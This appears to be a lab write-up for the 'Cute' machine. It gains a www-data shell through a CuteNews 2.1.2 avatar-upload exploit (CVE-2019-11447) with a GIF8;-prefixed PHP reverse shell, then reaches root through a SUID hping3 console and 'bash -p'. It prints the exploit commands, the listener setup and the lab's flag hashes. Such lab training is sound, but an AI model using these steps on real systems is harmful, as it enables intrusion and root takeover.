BBSecute
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Port 80 serves a CuteNews 2.1.2, vulnerable to CVE-2019-11447: register an account, upload a.phpdisguised with theGIF8;magic bytes as an avatar and trigger it for RCE aswww-data. For root, the/usr/sbin/hping3binary has the SUID bit: its interactive prompt lets you spawnbash -p, which keeps the binary'seuid=0.
Reconnaissance
Initial scan
TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Five ports, with the web (80) as the main surface. The others (SSH on 22, and Kerberos/POP3/POP3S on 88/110/995) we deprioritize on purpose: with no usernames or passwords there is nothing to throw at them, so we start with the web and would only come back to these services if we later obtained credentials. It's not that they were tested and ruled out, it's that they offer no entry point without prior authentication:
ping -c 1 192.168.144.128 # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.128PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
88/tcp open kerberos-sec
110/tcp open pop3
995/tcp open pop3snmap -p22,80,88,110,995 -sCV 192.168.144.128PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open http Apache httpd 2.4.38 ((Debian))
88/tcp open kerberos-sec
110/tcp open pop3
995/tcp open pop3sCuteNews - TCP 80
The landing page is the default Apache, but dirsearch uncovers a CMS structure: /index.php/login, /uploads/, /example.php, /core, /libs...
dirsearch -u http://192.168.144.128/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
301 - 317B - /core
200 - 0B - /docs/
200 - 3KB - /example.php
200 - 2KB - /index.php
200 - 2KB - /index.php/login/
301 - 317B - /libs
200 - 1KB - /LICENSE.txt
200 - 201B - /manual/index.html
200 - 28B - /print.php
200 - 2KB - /README.md
200 - 118B - /rss.php
200 - 763B - /search.php
301 - 318B - /skins
200 - 0B - /uploads/example.php is a CuteNews and its links reveal the domain cute.calipendula, which we add to /etc/hosts:

echo '192.168.144.128 cute.calipendula' | sudo tee -a /etc/hostsWith the domain resolved, the login page confirms the version in its footer: CuteNews 2.1.2 (with an open Register link):

CuteNews news management system
Login
Please sign in
User:
Password:
[ ] Remember me
[ Sign in ] Register (lost password)
Powered by CuteNews 2.1.2 (c) 2002-2025 CutePHP. (unregistered)That version has a known public exploit: CVE-2019-11447, an avatar upload that leads to remote code execution.

Shell as www-data
CuteNews 2.1.2 avatar upload (CVE-2019-11447)
CuteNews lets anyone register and upload an avatar. The flaw: the image filter is satisfied by the header magic bytes, not by the extension or the real content. A .php starting with GIF8; passes as a valid "GIF" but the server executes it as PHP. ColdFusionX's exploit automates the whole flow (register → upload → trigger):
git clone https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE
cd CVE-2019-11447_CuteNews-AvatarUploadRCE
# rev.php: your own IP and port
penelope 4444 # listener for the revshell (rev.php port)
python3 exploit.py -l http://cute.calipendula -u test -p test123 -e test@test.comThe rev.php shipped with the repo is nothing exotic: it's a standard PHP reverse shell (an fsockopen/exec back to the IP and port we set), and it's what the avatar ends up executing. That's why you leave the listener up on the port you put inside rev.php before firing.

The script logs in as test, adds the magic byte to rev.php, uploads it as an avatar to /uploads/avatar_test_test.php and, on pressing y, visits it to trigger the reverse shell. Penelope catches the connection as www-data and upgrades it to a PTY:

www-data@cute:/var/www$ cat local.txt && id
29f544eabf65ac4c9d6e16653c16baef
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The magic bytes trick is the key: prepend GIF8; to sneak the .php through, and since PHP ignores everything outside <?php ?>, the fake header does not break execution.
Privilege Escalation
SUID hping3
A SUID binary sweep finds an unusual one:
find / -perm -4000 2>/dev/null
# /usr/sbin/hping3hping3 has an interactive mode (a Tcl console). With the SUID bit set, any process spawned from that prompt inherits the binary's euid=0, so just open its console and ask for a bash -p:
hping3
# hping3> bash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)bash -p is essential: without -p, bash would drop the inherited euid=0 on startup. With it, the result is effective root.
local.txt / proof.txt
www-data@cute:/var/www$ cat local.txt
29f544eabf65ac4c9d6e16653c16baef
bash-5.0# cat /root/proof.txt
1dc170d47140f45e53340577afe98535
Attack chain
Web (80) → CuteNews 2.1.2 at cute.calipendula
└─ CVE-2019-11447: register + avatar .php with GIF8; magic bytes
└─ /uploads/avatar_test_test.php triggered → www-data
└─ find / -perm -4000 → /usr/sbin/hping3 (SUID)
└─ hping3 → interactive prompt → bash -p → rootLessons learned
- CuteNews 2.1.2 is a direct target: open registration + avatar upload + CVE-2019-11447. Identifying the exact version (2.1.2) is what connects to the public exploit.
- Validating an upload by magic bytes alone is useless against a
.phpstarting withGIF8;: the file passes the "image" filter and PHP ignores the fake header. Validate extension, real type and, above all, do not serve the uploads directory as executable. - A SUID binary offering an interactive or scripting mode (here
hping3's console) is a nearly free escalation: it inheritseuid=0and runs whatever it is asked.find / -perm -4000is one of the first things to run with any shell. bash -pis the detail that closes the SUID escalation: it preserves the inheritedeuidinstead of dropping it, which is what bash does by default for safety.